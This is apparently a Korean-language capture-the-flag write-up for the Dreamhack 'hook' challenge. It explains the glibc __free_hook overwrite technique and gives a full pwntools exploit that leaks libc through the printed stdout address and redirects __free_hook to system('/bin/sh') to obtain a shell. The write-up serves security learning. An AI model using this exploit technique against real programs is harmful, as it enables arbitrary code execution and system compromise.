dreamhack - hook writeup
[dreamhack] hook writeup
1. 문제

이 문제는 작동하고 있는 서비스(hook)의 바이너리와 소스코드가 주어집니다.
프로그램의 취약점을 찾고 _hook Overwrite 공격 기법으로 익스플로잇해 셸을 획득한 후, 'flag' 파일을 읽으세요.
'flag' 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.
2. 풀이
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
long *ptr;
size_t size;
initialize();
printf("stdout: %p\n", stdout);
printf("Size: ");
scanf("%ld", &size);
ptr = malloc(size);
printf("Data: ");
read(0, ptr, size);
*(long *)*ptr = *(ptr+1);
free(ptr);
free(ptr);
system("/bin/sh");
return 0;
}
stdout
의 주소를 출력한 후, size
변수를 입력받아 ptr
에 할당한다. 그리고 ptr
에 size
만큼 입력을 받은 후 아래와 같은 내용을 수행한다.
*(long *)*ptr = *(ptr+1);
그리고 두번 free
를 하고, /bin/sh
를 실행한다.
처음에 일단 저 포인터 관련 코드를 이해하기가 어려웠다. 포인터 공부를 좀 해야겠다는 생각이 들 정도로 무슨 의미인지 알 수 없어서 GPT에 물어봤다….
- *(ptr+1)은 ptr[1]에 들어가있는 값과 같음
- *ptr은 ptr[0]과 같기 때문에, *(long )ptr은 *ptr이 가리키는 메모리 위치가 됨
- 따라서 ptr[0]이 가리키는 메모리 주소에 ptr[1]이 가리키는 포인터 값을
long
타입으로 저장하는 것
그리고 문제에서 대놓고 hook overwrite
를 이용하라고 했기 때문에, 이게 무엇인지 공부하기 위해 찾아보았다.
2.1. hook overwrite
malloc
, free
, realloc
등의 함수는 hook
변수가 정의되어 있다.
- ex)
__malloc_hook
,__free_hook
,__realloc_hook
등
이 중에서 예시로 malloc 함수를 보면 아래와 같다.
// __malloc_hook
void *__libc_malloc (size_t bytes)
{
mstate ar_ptr;
void *victim;
void *(*hook) (size_t, const void *)
= atomic_forced_read (__malloc_hook); // malloc hook read
if (__builtin_expect (hook != NULL, 0))
return (*hook)(bytes, RETURN_ADDRESS (0)); // call hook
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes;
checked_request2size (bytes, tbytes);
size_t tc_idx = csize2tidx (tbytes);
// ...
}
__malloc_hook
변수의 NULL
인지 확인하고, NULL
이 아니면 malloc
을 수행하기 전에 __malloc_hook
이 가리키는 위치에 있는 코드를 먼저 실행하게 된다. 이때 malloc
에 넣은 인자는 hook
코드에 전달된다.
즉, 이 hook
주소에 원하는 코드의 주소를 넣고 인자값을 수정할 수 있으면 exploit이 가능할 것이다. 이게 hook overwrite
이다.
2.2. exploit #1
바이너리의 코드를 보면, 이미 system("/bin/sh")
가 존재하기 때문에 해야할 일은 그저 특정 함수의 hook
변수에 이 주소를 덮기만 하면 된다. 어떤 함수의 hook
변수를 사용할지 생각해보면 저 문제의 포인터 코드 바로 밑에 free(ptr)
가 있기 때문에 free
함수의 hook
변수인 __free_hook
을 덮어주면 되겠다.
먼저 system("/bin/sh")
의 주소를 구해보자.
"/bin/sh"
문자열을 edi
에 넣는 것까지 포함해야하기 때문에 주소는 0x400a11
이다.
이제 __free_hook
변수의 주소를 구해야하는데, 이 주소는 libc
에 존재하므로, 바이너리에서 출력해주는 stdout
주소를 기반으로 libc_base
주소를 구한 후 __free_hook
변수의 offset
을 더해서 구할 수 있다.
exploit은 간단하다. ptr[0]에 __free_hook
변수의 주소를 넣고 ptr[1]에 system("/bin/sh")
주소를 넣으면 __free_hook
이 가리키는 주소가 system("/bin/sh")
의 주소가 덮이게 되므로 쉘을 딸 수 있다.
64비트 프로그램이고, 두 개의 주소를 받아야하기 때문에 ptr
의 size
는 8 + 8 = 16바이트로 맞춰주면 끝이다.
최종 exploit은 아래와 같다.
from pwn import *
p = process("./hook")
#p = remote("host3.dreamhack.games", 13245)
e = ELF("./hook")
libc = ELF("libc-2.23.so")
stdout_offset = libc.symbols['_IO_2_1_stdout_']
# readelf -s libc.so.6 |grep stdout 으로 구해도됨
# Init
p.recvuntil("stdout: ")
stdout_addr = int(p.recvline()[:-1], 16)
libc_base = stdout_addr - stdout_offset
free_hook = libc_base + libc.symbols['__free_hook']
print(f"freehook: {hex(free_hook)}")
system_binsh = 0x400a11 # from code
one_gadget = 0x4527a
# send size as 16bytes
p.recvuntil('Size: ')
p.sendline(b'16')
p.recvuntil('Data: ')
# send data to overwrite freehook with system("/bin/sh") address in the code
payload = p64(free_hook)
payload += p64(system_binsh)
#payload += p64(libc_base + one_gadget)
p.send(payload)
p.interactive()
2.3. exploit #2
위 exploit에서 볼 수 있는 것처럼 system("/bin/sh")
주소 대신 one_gadget
을 통해 구한 주소를 보내도 constraints
제한 조건만 맞으면 가능하다.
해결~